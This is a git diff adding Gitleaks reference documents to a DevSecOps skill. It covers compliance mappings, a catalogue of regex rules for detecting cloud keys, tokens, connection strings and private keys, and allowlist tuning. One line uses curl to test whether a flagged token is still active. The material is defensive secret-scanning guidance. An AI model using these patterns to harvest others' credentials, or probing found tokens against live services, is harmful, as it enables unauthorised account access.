"Hard-coded password detected", + "File": "config/database.py", + "Line": 42, + "CWE": "CWE-259" +} +``` + +### CWE-321: Use of Hard-coded Cryptographic Key + +**Description**: Use of hard-coded cryptographic key in product. + +**Gitleaks Detection**: +- Private key files (PEM format) +- JWT signing secrets +- Encryption keys in source code + +### CWE-522: Insufficiently Protected Credentials + +**Description**: Product transmits or stores authentication credentials in insufficiently protected form. + +**Gitleaks Coverage**: Detects credentials stored in source code (inadequate protection). + +### CWE-257: Storing Passwords in a Recoverable Format + +**Description**: Storing passwords in a recoverable format makes them vulnerable. + +**Gitleaks Coverage**: Identifies plaintext passwords in configuration and code. + +## PCI-DSS + +### Requirement 6.5.3: Insecure Cryptographic Storage + +**Control Objective**: Protect stored cardholder data. + +**Gitleaks Implementation**: +- Scan payment processing code for embedded API keys (Stripe, PayPal, etc.) +- Detect hardcoded encryption keys +- Identify database credentials used for cardholder data access + +**Compliance Evidence**: +```bash +# Generate PCI-DSS compliance report +gitleaks detect \ + --source ./payment-processing \ + --report-format json \ + --report-path pci-compliance-scan.json + +# Extract payment-related findings +jq '.[] | select(.Tags[] | contains("payment"))' pci-compliance-scan.json +``` + +### Requirement 8.2.1: Strong Cryptography for Authentication + +**Control Objective**: Use strong authentication credentials. + +**Gitleaks Implementation**: +- Detect weak/hardcoded authentication tokens +- Identify test credentials in production code paths + +### Requirement 10.2: Logging and Monitoring + +**Control Objective**: Implement automated audit trails. + +**Gitleaks Implementation**: +```python +# Log all secret detection events +import logging +import json + +with open('gitleaks-findings.json', 'r') as f: + findings = json.load(f) + +for finding in findings: + logging.warning( + f"PCI-DSS Violation: Hardcoded credential detected", + extra={ + "rule": finding["RuleID"], + "file": finding["File"], + "line": finding["StartLine"], + "compliance_requirement": "PCI-DSS 6.5.3" + } + ) +``` + +### PCI-DSS Reporting Template + +```markdown +# PCI-DSS Requirement 6.5.3 - Secret Scanning Report + +**Reporting Period**: Q1 2024 +**Scan Date**: 2024-01-15 +**Scope**: All repositories handling cardholder data + +## Summary +- **Repositories Scanned**: 15 +- **Secrets Detected**: 3 +- **Remediation Status**: All resolved within 24 hours + +## Findings + +| Finding ID | Rule | Severity | File | Status | Remediation Date | +|------------|------|----------|------|--------|------------------| +| F001 | stripe-api-key | CRITICAL | payment/config.py | Resolved | 2024-01-15 | +| F002 | database-password | HIGH | db/setup.sql | Resolved | 2024-01-15 | +| F003 | aws-access-key | HIGH | deploy/config.yml | Resolved | 2024-01-16 | + +## Control Effectiveness +✅ Automated secret scanning implemented +✅ All findings remediated within SLA +✅ Pre-commit hooks prevent new violations +``` + +## SOC 2 + +### CC6.1: Logical and Physical Access Controls + +**Control Activity**: Implement controls to prevent unauthorized access to system resources. + +**Gitleaks Implementation**: +- Automated detection of exposed credentials +- Pre-commit hooks to prevent credential commits +- CI/CD gates blocking deployments with secrets + +**SOC 2 Evidence Package**: +1. Secret scanning policy and procedures +2. Gitleaks configuration file (`.gitleaks.toml`) +3. CI/CD pipeline configurations +4. Scan execution logs (last 12 months) +5. Remediation tracking (issue tickets) +6. Training materials for developers + +### CC6.6: Logical Access - Provisioning + +**Control Activity**: Provision access based on role, revoke when no longer needed. + +**Gitleaks Implementation**: +- Detection of service account keys and tokens +- Audit trail of credential exposure and rotation +- Automated revocation workflows + +### CC7.2: System Monitoring + +**Control Activity**: Monitor system for security events and anomalies. + +**Gitleaks Implementation**: +```yaml +# Continuous monitoring workflow +name: SOC2 CC7.2 - Security Monitoring +on: + schedule: + - cron: '0 2 * * *' # Daily at 2 AM +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Secret Detection Scan + uses: gitleaks/gitleaks-action@v2 + - name: Report to SIEM + run: | + curl -X POST https://siem.company.com/api/events \ + -H "Content-Type: application/json" \ + -d @gitleaks-report.json +``` + +### SOC 2 Audit Response Template + +```markdown +# SOC 2 Control CC6.1 - Secret Scanning Control + +**Control Description**: Automated secret scanning prevents unauthorized access through exposed credentials. + +**Control Design**: +1. Pre-commit hooks block credential commits at developer workstation +2. CI/CD pipeline scans all pull requests before merge +3. Nightly scans of all production repositories +4. Automated alerting to security team for violations + +**Control Operating Effectiveness**: +- **Frequency**: Continuous (pre-commit) + Daily (scheduled scans) +- **Population**: 247 repositories, 85 developers +- **Sample Period**: January 1 - December 31, 2024 +- **Samples Tested**: 52 weekly scan reports +- **Exceptions**: 0 + +**Evidence of Operation**: +- Attached: gitleaks-audit-log-2024.json +- Attached: remediation-tracking.csv +- Attached: developer-training-records.pdf +``` + +## GDPR + +### Article 32: Security of Processing + +**Requirement**: Implement appropriate technical measures to ensure security of personal data. + +**Gitleaks Implementation**: +- Detect API keys for services processing personal data +- Identify database credentials for systems storing personal data +- Scan for OAuth tokens with user data access scopes + +**GDPR Compliance Mapping**: + +| GDPR Requirement | Gitleaks Control | Evidence | +|------------------|------------------|----------| +| Art. 32(1)(a) - Pseudonymization | Detect database credentials protecting personal data | Scan reports | +| Art. 32(1)(b) - Confidentiality | Prevent credential exposure in source code | Pre-commit hooks | +| Art. 32(2) - Risk Assessment | Regular security scanning | Scan schedules | +| Art. 33 - Breach Notification | Detection triggers incident response | Alert logs | + +### Data Breach Notification + +If Gitleaks detects exposed credentials accessing personal data: + +```bash +#!/bin/bash +# gdpr-incident-response.sh + +# Assess if personal data is at risk +echo "1. Identify data accessed by exposed credential" +echo "2. Determine if data is personal data under GDPR" +echo "3. Assess likelihood of unauthorized access" + +# 72-hour notification requirement +echo "If personal data breach confirmed:" +echo "- Notify supervisory authority within 72 hours" +echo "- Document: nature of breach, data categories affected, likely consequences, measures taken" +``` + +## NIST Cybersecurity Framework + +### Identify (ID.AM): Asset Management + +**Subcategory**: ID.AM-2 - Software platforms and applications are inventoried. + +**Gitleaks Implementation**: Catalog all repositories with secret scanning coverage. + +### Protect (PR.AC): Access Control + +**Subcategory**: PR.AC-1 - Identities and credentials are managed. + +**Gitleaks Implementation**: +- Automated detection of exposed credentials +- Credential lifecycle management (rotation after exposure) + +### Detect (DE.CM): Security Continuous Monitoring + +**Subcategory**: DE.CM-4 - Malicious code is detected. + +**Gitleaks Implementation**: Secrets considered "malicious" when hardcoded. + +### Respond (RS.AN): Analysis + +**Subcategory**: RS.AN-1 - Notifications are investigated. + +**Gitleaks Implementation**: Alert triage and investigation procedures. + +### Recover (RC.RP): Recovery Planning + +**Subcategory**: RC.RP-1 - Recovery plan is executed during or after an event. + +**Gitleaks Implementation**: Credential rotation and git history cleanup procedures. + +## ISO 27001 + +### A.9.2.4: Management of Secret Authentication Information + +**Control**: Allocation of secret authentication information shall be controlled through a formal management process. + +**Gitleaks Implementation**: +- Detect deviations from secret management process (hardcoded secrets) +- Enforce secret management policy through pre-commit hooks + +### A.9.4.3: Password Management System + +**Control**: Password management systems shall be interactive and ensure quality passwords. + +**Gitleaks Implementation**: Prevent password hardcoding in source code. + +### A.12.6.1: Management of Technical Vulnerabilities + +**Control**: Obtain information about technical vulnerabilities and take appropriate measures. + +**Gitleaks Implementation**: Continuous vulnerability scanning for credential exposure. + +## HIPAA + +### § 164.312(a)(1): Access Control + +**Standard**: Implement technical policies to allow only authorized access to ePHI. + +**Gitleaks Implementation**: +- Detect credentials for systems accessing ePHI +- Prevent unauthorized access through exposed credentials + +### § 164.308(a)(1)(ii)(D): Information System Activity Review + +**Standard**: Implement procedures to regularly review records of information system activity. + +**Gitleaks Implementation**: +```bash +# Weekly HIPAA compliance review +gitleaks detect \ + --source ./healthcare-systems \ + --report-format json \ + > hipaa-weekly-scan.json + +# Review findings for ePHI access credentials +jq '.[] | select(.Tags[] | contains("database") or contains("api-key"))' \ + hipaa-weekly-scan.json +``` + +### § 164.312(b): Audit Controls + +**Standard**: Implement hardware, software, procedures to record and examine system activity. + +**Gitleaks Implementation**: Audit trail of secret detection events. + +## Compliance Reporting + +### Automated Compliance Report Generation + +```python +#!/usr/bin/env python3 +"""Generate compliance report from Gitleaks findings.""" + +import json +import sys +from datetime import datetime + +# Compliance framework mappings +COMPLIANCE_MAPPINGS = { + "CWE-798": ["OWASP-A07", "PCI-DSS-6.5.3", "SOC2-CC6.1", "ISO27001-A.9.2.4"], + "CWE-259": ["OWASP-A07", "PCI-DSS-8.2.1", "SOC2-CC6.1", "ISO27001-A.9.4.3"], + "CWE-321": ["OWASP-A02", "PCI-DSS-6.5.3", "ISO27001-A.12.3.1"], +} + +def generate_compliance_report(findings_file, framework): + """Generate compliance-specific report.""" + + with open(findings_file, 'r') as f: + findings = json.load(f) + + # Filter findings relevant to framework + relevant_findings = [] + for finding in findings: + cwe = finding.get("CWE", "") + if framework in COMPLIANCE_MAPPINGS.get(cwe, []): + relevant_findings.append(finding) + + # Generate report + report = { + "framework": framework, + "generated": datetime.now().isoformat(), + "total_findings": len(relevant_findings), + "findings": relevant_findings, + "compliance_status": "NON-COMPLIANT" if relevant_findings else "COMPLIANT" + } + + return report + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: compliance_report.py ") + print("Frameworks: OWASP, PCI-DSS, SOC2, ISO27001, GDPR, HIPAA") + sys.exit(1) + + report = generate_compliance_report(sys.argv[1], sys.argv[2]) + print(json.dumps(report, indent=2)) +``` + +### Usage + +```bash +# Generate PCI-DSS specific report +./compliance_report.py gitleaks-findings.json PCI-DSS > pci-dss-report.json + +# Generate SOC2 specific report +./compliance_report.py gitleaks-findings.json SOC2 > soc2-report.json +``` + +### Compliance Dashboard Metrics + +Track these KPIs for compliance reporting: + +```yaml +metrics: + - name: "Secret Detection Coverage" + description: "Percentage of repositories with secret scanning enabled" + target: 100% + + - name: "Mean Time to Remediation (MTTR)" + description: "Average time from detection to credential rotation" + target: < 4 hours + + - name: "False Positive Rate" + description: "Percentage of findings classified as false positives" + target: < 10% + + - name: "Pre-commit Hook Adoption" + description: "Percentage of developers with hooks installed" + target: > 95% + + - name: "Scan Frequency" + description: "Scans per repository per month" + target: > 30 (daily) +``` + +## Audit Preparation Checklist + +- [ ] Configure Gitleaks across all in-scope repositories +- [ ] Implement CI/CD secret scanning gates +- [ ] Deploy pre-commit hooks to developer workstations +- [ ] Establish remediation procedures and SLAs +- [ ] Create audit trail (scan logs, remediation tickets) +- [ ] Generate compliance-specific reports +- [ ] Document control design and operating effectiveness +- [ ] Prepare evidence package for auditors +- [ ] Train team on secret management policies +- [ ] Schedule regular compliance reviews diff --git a/skills/devsecops/secrets-gitleaks/references/detection_rules.md b/skills/devsecops/secrets-gitleaks/references/detection_rules.md new file mode 100644 index 0000000..7d8ef41 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/references/detection_rules.md @@ -0,0 +1,276 @@ +# Gitleaks Detection Rules Reference + +Comprehensive reference of built-in Gitleaks detection rules with CWE mappings and remediation guidance. + +## Table of Contents + +- [Cloud Provider Credentials](#cloud-provider-credentials) +- [Version Control Systems](#version-control-systems) +- [API Keys and Tokens](#api-keys-and-tokens) +- [Database Credentials](#database-credentials) +- [Private Keys](#private-keys) +- [Generic Patterns](#generic-patterns) + +## Cloud Provider Credentials + +### AWS Access Key ID +- **Rule ID**: `aws-access-token` +- **Pattern**: `AKIA[0-9A-Z]{16}` +- **CWE**: CWE-798 (Use of Hard-coded Credentials) +- **Severity**: HIGH +- **Description**: AWS Access Key ID for programmatic access +- **Remediation**: Rotate via AWS IAM console, use AWS Secrets Manager or IAM roles + +### AWS Secret Access Key +- **Rule ID**: `aws-secret-key` +- **Pattern**: `(?i)aws(.{0,20})?[\'\"][0-9a-zA-Z\/+]{40}[\'\"]` +- **CWE**: CWE-798 +- **Severity**: CRITICAL +- **Description**: AWS Secret Access Key paired with Access Key ID +- **Remediation**: Immediate rotation required, review CloudTrail logs for unauthorized access + +### GCP API Key +- **Rule ID**: `gcp-api-key` +- **Pattern**: `AIza[0-9A-Za-z\\-_]{35}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Google Cloud Platform API key +- **Remediation**: Delete and regenerate in GCP Console, review API usage logs + +### GCP Service Account +- **Rule ID**: `gcp-service-account` +- **Pattern**: `\"type\": \"service_account\"` +- **CWE**: CWE-798 +- **Severity**: CRITICAL +- **Description**: GCP service account JSON key file +- **Remediation**: Delete service account key, use Workload Identity where possible + +### Azure Storage Account Key +- **Rule ID**: `azure-storage-key` +- **Pattern**: `(?i)azure.*[\'\"][0-9a-zA-Z\/+]{88}[\'\"]` +- **CWE**: CWE-798 +- **Severity**: CRITICAL +- **Description**: Azure Storage Account access key +- **Remediation**: Regenerate keys in Azure Portal, use Azure Key Vault + +### Digital Ocean Token +- **Rule ID**: `digitalocean-token` +- **Pattern**: `dop_v1_[a-f0-9]{64}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Digital Ocean personal access token +- **Remediation**: Revoke token in Digital Ocean console, create new token + +## Version Control Systems + +### GitHub Personal Access Token +- **Rule ID**: `github-pat` +- **Pattern**: `ghp_[0-9a-zA-Z]{36}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: GitHub personal access token (classic) +- **Remediation**: Revoke in GitHub Settings > Developer settings, review audit log + +### GitHub OAuth Token +- **Rule ID**: `github-oauth` +- **Pattern**: `gho_[0-9a-zA-Z]{36}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: GitHub OAuth access token +- **Remediation**: Revoke OAuth app authorization, regenerate token + +### GitHub Fine-Grained Token +- **Rule ID**: `github-fine-grained-pat` +- **Pattern**: `github_pat_[0-9a-zA-Z]{22}_[0-9a-zA-Z]{59}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: GitHub fine-grained personal access token +- **Remediation**: Revoke in GitHub Settings, review resource access scope + +### GitLab Personal Access Token +- **Rule ID**: `gitlab-pat` +- **Pattern**: `glpat-[0-9a-zA-Z\\-_]{20}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: GitLab personal access token +- **Remediation**: Revoke in GitLab User Settings > Access Tokens + +### Bitbucket App Password +- **Rule ID**: `bitbucket-app-password` +- **Pattern**: `(?i)bitbucket.*[\'\"][0-9a-zA-Z]{16}[\'\"]` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Bitbucket app-specific password +- **Remediation**: Revoke in Bitbucket Personal Settings > App passwords + +## API Keys and Tokens + +### Stripe API Key +- **Rule ID**: `stripe-api-key` +- **Pattern**: `(?i)(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}` +- **CWE**: CWE-798 +- **Severity**: CRITICAL (live), HIGH (test) +- **Description**: Stripe API secret or publishable key +- **Remediation**: Roll keys in Stripe Dashboard, review payment transactions + +### Twilio API Key +- **Rule ID**: `twilio-api-key` +- **Pattern**: `SK[0-9a-fA-F]{32}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Twilio API key +- **Remediation**: Delete key in Twilio Console, create new key + +### SendGrid API Key +- **Rule ID**: `sendgrid-api-key` +- **Pattern**: `SG\\.[0-9A-Za-z\\-_]{22}\\.[0-9A-Za-z\\-_]{43}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: SendGrid API key +- **Remediation**: Delete in SendGrid Settings > API Keys, update applications + +### Slack Token +- **Rule ID**: `slack-token` +- **Pattern**: `xox[baprs]-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24,}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Slack bot, app, or user token +- **Remediation**: Regenerate in Slack App Settings, rotate token + +### Slack Webhook +- **Rule ID**: `slack-webhook` +- **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+` +- **CWE**: CWE-798 +- **Severity**: MEDIUM +- **Description**: Slack incoming webhook URL +- **Remediation**: Regenerate webhook in Slack App Settings + +### npm Token +- **Rule ID**: `npm-access-token` +- **Pattern**: `npm_[0-9a-zA-Z]{36}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: npm access token +- **Remediation**: Revoke in npm Account Settings, check package publish history + +### PyPI Token +- **Rule ID**: `pypi-upload-token` +- **Pattern**: `pypi-AgEIcHlwaS5vcmc[0-9A-Za-z\\-_]{50,}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: PyPI upload token +- **Remediation**: Delete token in PyPI Account Settings, verify package uploads + +## Database Credentials + +### PostgreSQL Connection String +- **Rule ID**: `postgres-connection-string` +- **Pattern**: `postgres(ql)?://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9.-]+:[0-9]+/[a-zA-Z0-9_-]+` +- **CWE**: CWE-798 +- **Severity**: CRITICAL +- **Description**: PostgreSQL database connection string with embedded credentials +- **Remediation**: Change database password, use connection string from environment variables + +### MySQL Connection String +- **Rule ID**: `mysql-connection-string` +- **Pattern**: `mysql://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9.-]+:[0-9]+/[a-zA-Z0-9_-]+` +- **CWE**: CWE-259 +- **Severity**: CRITICAL +- **Description**: MySQL database connection string with embedded credentials +- **Remediation**: Rotate database password immediately, review access logs + +### MongoDB Connection String +- **Rule ID**: `mongodb-connection-string` +- **Pattern**: `mongodb(\+srv)?://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9.-]+` +- **CWE**: CWE-798 +- **Severity**: CRITICAL +- **Description**: MongoDB connection string with credentials +- **Remediation**: Change MongoDB user password, enable IP whitelisting + +### Redis URL +- **Rule ID**: `redis-url` +- **Pattern**: `redis://:[a-zA-Z0-9]+@[a-zA-Z0-9.-]+:[0-9]+` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: Redis connection URL with password +- **Remediation**: Change Redis password via CONFIG SET, use ACLs + +## Private Keys + +### RSA Private Key +- **Rule ID**: `rsa-private-key` +- **Pattern**: `-----BEGIN RSA PRIVATE KEY-----` +- **CWE**: CWE-321 (Use of Hard-coded Cryptographic Key) +- **Severity**: CRITICAL +- **Description**: RSA private key in PEM format +- **Remediation**: Generate new key pair, revoke associated certificates, audit access + +### SSH Private Key +- **Rule ID**: `ssh-private-key` +- **Pattern**: `-----BEGIN (EC|DSA|OPENSSH) PRIVATE KEY-----` +- **CWE**: CWE-321 +- **Severity**: CRITICAL +- **Description**: SSH private key +- **Remediation**: Remove from authorized_keys on all servers, generate new key + +### PGP Private Key +- **Rule ID**: `pgp-private-key` +- **Pattern**: `-----BEGIN PGP PRIVATE KEY BLOCK-----` +- **CWE**: CWE-321 +- **Severity**: CRITICAL +- **Description**: PGP/GPG private key +- **Remediation**: Revoke key on keyservers, generate new key pair + +### JWT Token +- **Rule ID**: `jwt` +- **Pattern**: `eyJ[A-Za-z0-9_-]{10,}\\.[A-Za-z0-9_-]{10,}\\.[A-Za-z0-9_-]{10,}` +- **CWE**: CWE-798 +- **Severity**: HIGH +- **Description**: JSON Web Token (may contain sensitive claims) +- **Remediation**: Invalidate token, check token expiration, rotate signing secret + +## Generic Patterns + +### Generic API Key +- **Rule ID**: `generic-api-key` +- **Pattern**: `(?i)(api_key|apikey|api-key)[\s]*[=:][\s]*[\'\"]?[a-zA-Z0-9]{32,}[\'\"]?` +- **CWE**: CWE-798 +- **Severity**: MEDIUM +- **Description**: Generic API key pattern +- **Remediation**: Rotate credential based on service documentation + +### Generic Secret +- **Rule ID**: `generic-secret` +- **Pattern**: `(?i)(secret|password|passwd|pwd)[\s]*[=:][\s]*[\'\"]?[a-zA-Z0-9!@#$%^&*]{16,}[\'\"]?` +- **CWE**: CWE-259 +- **Severity**: MEDIUM +- **Description**: Generic secret or password pattern +- **Remediation**: Move to environment variable or secret management system + +### High Entropy String +- **Rule ID**: `high-entropy` +- **Pattern**: `[a-zA-Z0-9]{32,}` +- **Entropy**: 4.5+ +- **CWE**: CWE-798 +- **Severity**: LOW (requires validation) +- **Description**: High-entropy string that may be a credential +- **Remediation**: Validate if actual secret, rotate if necessary + +## Usage in Configuration + +Add these rule IDs to your `.gitleaks.toml` allowlist if needed: + +```toml +[allowlist] +description = "Allow specific rules in test files" +paths = ['''test/'''] +rules = ["generic-api-key", "generic-secret"] +``` + +## CWE Reference + +- **CWE-798**: Use of Hard-coded Credentials +- **CWE-259**: Use of Hard-coded Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-522**: Insufficiently Protected Credentials +- **CWE-257**: Storing Passwords in a Recoverable Format diff --git a/skills/devsecops/secrets-gitleaks/references/false_positives.md b/skills/devsecops/secrets-gitleaks/references/false_positives.md new file mode 100644 index 0000000..bcae69f --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/references/false_positives.md @@ -0,0 +1,598 @@ +# False Positives Management + +Strategies for managing false positives in Gitleaks secret detection. + +## Table of Contents + +- [Understanding False Positives](#understanding-false-positives) +- [Allowlist Strategies](#allowlist-strategies) +- [Common False Positive Patterns](#common-false-positive-patterns) +- [Configuration Examples](#configuration-examples) +- [Best Practices](#best-practices) + +## Understanding False Positives + +False positives occur when legitimate code patterns match secret detection rules. + +### Categories of False Positives + +1. **Example/Placeholder Values**: Documentation and examples using fake credentials +2. **Test Fixtures**: Test data with credential-like patterns +3. **Non-Secret Constants**: Configuration values that match patterns but aren't sensitive +4. **Generated Code**: Auto-generated code with high-entropy strings +5. **Comments and Documentation**: Explanatory text matching patterns + +### Impact Assessment + +Before allowlisting, verify it's truly a false positive: + +```bash +# Extract the flagged value +echo "api_key_here" | base64 # Check if valid encoding +curl -H "Authorization: Bearer " https://api.service.com/test # Test if active + +# Check git history for when added +git log -p --all -S "flagged_value" + +# Review context around detection +git show : +``` + +## Allowlist Strategies + +### 1. Path-Based Allowlisting + +Exclude entire directories or file patterns: + +```toml +[allowlist] +description = "Exclude test and documentation files" +paths = [ + '''test/.*''', # All test directories + '''tests/.*''', # Alternative test directory name + '''.*/fixtures/.*''', # Test fixtures anywhere + '''examples/.*''', # Example code + '''docs/.*''', # Documentation + '''.*\.md$''', # Markdown files + '''.*\.rst$''', # ReStructuredText files + '''.*_test\.go$''', # Go test files + '''.*\.test\.js$''', # JavaScript test files + '''.*\.spec\.ts$''', # TypeScript spec files +] +``` + +### 2. Stopword Allowlisting + +Filter out known placeholder values: + +```toml +[allowlist] +description = "Common placeholder values" +stopwords = [ + "example", + "placeholder", + "your_api_key_here", + "your_secret_here", + "REPLACEME", + "CHANGEME", + "xxxxxx", + "000000", + "123456", + "abcdef", + "sample", + "dummy", + "fake", + "test_key", + "mock_token", +] +``` + +### 3. Commit-Based Allowlisting + +Allowlist specific commits after manual verification: + +```toml +[allowlist] +description = "Verified false positives" +commits = [ + "a1b2c3d4e5f6", # Initial test fixtures - verified 2024-01-15 + "f6e5d4c3b2a1", # Documentation examples - verified 2024-01-16 +] +``` + +Add comment explaining why each commit is allowlisted. + +### 4. Regex Allowlisting + +Allowlist specific patterns: + +```toml +[allowlist] +description = "Pattern-based allowlist" +regexes = [ + '''example_api_key_[0-9]+''', # Example keys with numeric suffix + '''key\s*=\s*["']EXAMPLE["']''', # Explicitly marked examples + '''(?i)test_?password_?[0-9]*''', # Test passwords + '''(?i)dummy.*secret''', # Dummy secrets +] +``` + +### 5. Rule-Specific Allowlisting + +Create exceptions for specific rules only: + +```toml +[[rules]] +id = "generic-api-key" +description = "Generic API Key" +regex = '''(?i)api_key\s*=\s*["']([a-zA-Z0-9]{32})["']''' + +[rules.allowlist] +description = "Allow generic API key pattern in specific contexts" +paths = ['''config/defaults\.yaml'''] +regexes = ['''api_key\s*=\s*["']example'''] +``` + +### 6. Global vs Rule Allowlists + +Global allowlists override rule-specific ones: + +```toml +# Global allowlist - highest precedence +[allowlist] +description = "Organization-wide exceptions" +paths = ['''vendor/''', '''node_modules/'''] + +# Rule-specific allowlist +[[rules]] +id = "custom-secret" +[rules.allowlist] +description = "Exceptions only for this rule" +paths = ['''config/template\.yml'''] +``` + +## Common False Positive Patterns + +### 1. Documentation Examples + +**Problem**: README and documentation contain example credentials. + +**Solution**: +```toml +[allowlist] +paths = [ + '''README\.md$''', + '''CONTRIBUTING\.md$''', + '''docs/.*\.md$''', + '''.*\.example$''', # .env.example files + '''.*\.template$''', # Template files + '''.*\.sample$''', # Sample configurations +] + +stopwords = [ + "example.com", + "user@example.org", + "YOUR_API_KEY", +] +``` + +### 2. Test Fixtures + +**Problem**: Test data contains credential-like strings for testing credential handling. + +**Solution**: +```toml +[allowlist] +paths = [ + '''test/fixtures/.*''', + '''spec/fixtures/.*''', + '''.*/testdata/.*''', # Go convention + '''.*/mocks/.*''', + '''cypress/fixtures/.*''', # Cypress test data +] + +# Or use inline comments in code +# password = "test_password_123" # gitleaks:allow +``` + +### 3. Generated Code + +**Problem**: Code generators produce high-entropy identifiers. + +**Solution**: +```toml +[allowlist] +description = "Generated code" +paths = [ + '''.*\.pb\.go$''', # Protocol buffer generated code + '''.*_generated\..*''', # Generated file marker + '''node_modules/.*''', # Dependencies + '''vendor/.*''', # Vendored dependencies + '''dist/.*''', # Build output + '''build/.*''', +] +``` + +### 4. Configuration Templates + +**Problem**: Config templates with placeholder values match patterns. + +**Solution**: +```toml +[allowlist] +paths = [ + '''config/.*\.template''', + '''templates/.*''', + '''.*\.tpl$''', + '''.*\.tmpl$''', +] + +stopwords = [ + "REPLACE_WITH_YOUR", + "CONFIGURE_ME", + "SET_THIS_VALUE", +] +``` + +### 5. Base64 Encoded Strings + +**Problem**: Non-secret base64 data flagged due to high entropy. + +**Solution**: +```toml +# Increase entropy threshold to reduce false positives +[[rules]] +id = "high-entropy-base64" +regex = '''[a-zA-Z0-9+/]{40,}={0,2}''' +entropy = 5.5 # Increase from default 4.5 +``` + +Or allowlist specific patterns: +```toml +[allowlist] +regexes = [ + '''data:image/[^;]+;base64,''', # Base64 encoded images + '''-----BEGIN CERTIFICATE-----''', # Public certificates (not private keys) +] +``` + +### 6. Public Keys and Certificates + +**Problem**: Public keys detected (which are not secrets). + +**Solution**: +```toml +[allowlist] +regexes = [ + '''-----BEGIN PUBLIC KEY-----''', + '''-----BEGIN CERTIFICATE-----''', + '''-----BEGIN X509 CERTIFICATE-----''', +] + +# But DO NOT allowlist: +# -----BEGIN PRIVATE KEY----- +# -----BEGIN RSA PRIVATE KEY----- +``` + +### 7. UUIDs and Identifiers + +**Problem**: UUIDs match high-entropy patterns. + +**Solution**: +```toml +[allowlist] +regexes = [ + '''[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}''', # UUID + '''[0-9a-f]{24}''', # MongoDB ObjectId +] +``` + +Or adjust entropy detection: +```toml +[[rules]] +id = "generic-high-entropy" +entropy = 6.0 # Only flag very high entropy +``` + +## Configuration Examples + +### Minimal Configuration + +Start with broad allowlists, refine over time: + +```toml +title = "Minimal Gitleaks Configuration" + +[extend] +useDefault = true # Use all built-in rules + +[allowlist] +description = "Broad allowlist for initial rollout" +paths = [ + '''test/.*''', + '''.*\.md$''', + '''vendor/.*''', + '''node_modules/.*''', +] + +stopwords = [ + "example", + "test", + "mock", + "dummy", +] +``` + +### Strict Configuration + +Minimize false positives with targeted allowlists: + +```toml +title = "Strict Gitleaks Configuration" + +[extend] +useDefault = true + +[allowlist] +description = "Minimal allowlist - verify all exceptions" + +# Only allow specific known false positives +paths = [ + '''docs/api-examples\.md''', # API documentation with examples + '''test/fixtures/auth\.json''', # Authentication test fixtures +] + +# Specific known placeholder values +stopwords = [ + "YOUR_API_KEY_HERE", + "sk_test_example_key_123456789", +] + +# Manually verified commits +commits = [ + "abc123def456", # Test fixtures added - verified 2024-01-15 by security@company.com +] +``` + +### Balanced Configuration + +Balance detection sensitivity with operational overhead: + +```toml +title = "Balanced Gitleaks Configuration" + +[extend] +useDefault = true + +[allowlist] +description = "Balanced allowlist" + +# Common non-secret paths +paths = [ + '''test/fixtures/.*''', + '''spec/fixtures/.*''', + '''.*\.md$''', + '''docs/.*''', + '''examples/.*''', + '''vendor/.*''', + '''node_modules/.*''', +] + +# Common placeholders +stopwords = [ + "example", + "placeholder", + "your_key_here", + "replace_me", + "changeme", + "test", + "dummy", + "mock", +] + +# Public non-secrets +regexes = [ + '''-----BEGIN CERTIFICATE-----''', + '''-----BEGIN PUBLIC KEY-----''', + '''data:image/[^;]+;base64,''', +] +``` + +## Best Practices + +### 1. Document Allowlist Decisions + +Always add comments explaining why patterns are allowlisted: + +```toml +[allowlist] +description = "Verified false positives - reviewed 2024-01-15" + +# Test fixtures created during initial test suite development +# Contains only example credentials for testing credential validation +paths = ['''test/fixtures/credentials\.json'''] + +# Documentation examples using clearly fake values +# All examples prefixed with "example_" or "test_" +stopwords = ["example_", "test_"] +``` + +### 2. Regular Allowlist Review + +Schedule periodic reviews: + +```bash +#!/bin/bash +# review-allowlist.sh + +echo "Gitleaks Allowlist Review" +echo "=========================" +echo "" + +# Show allowlist paths +echo "Allowlisted paths:" +grep -A 10 "^\[allowlist\]" .gitleaks.toml | grep "paths = " + +# Show allowlisted commits +echo "" +echo "Allowlisted commits:" +grep -A 10 "^\[allowlist\]" .gitleaks.toml | grep "commits = " + +# Check if commits still exist +# (May have been removed in history rewrite) +git rev-parse --verify abc123def456 2>/dev/null || echo "WARNING: Commit abc123def456 not found" +``` + +### 3. Use Inline Annotations Sparingly + +For one-off false positives, use inline comments: + +```python +# This is a test password for unit tests only +# gitleaks:allow +TEST_PASSWORD = "test_password_123" +``` + +**Warning**: Overuse of inline annotations indicates poorly tuned configuration. + +### 4. Version Control Your Configuration + +Track changes to `.gitleaks.toml`: + +```bash +git log -p .gitleaks.toml + +# See who allowlisted what and when +git blame .gitleaks.toml +``` + +### 5. Test Allowlist Changes + +Before committing allowlist changes: + +```bash +# Test configuration +gitleaks detect --config .gitleaks.toml -v + +# Verify specific file is now allowed 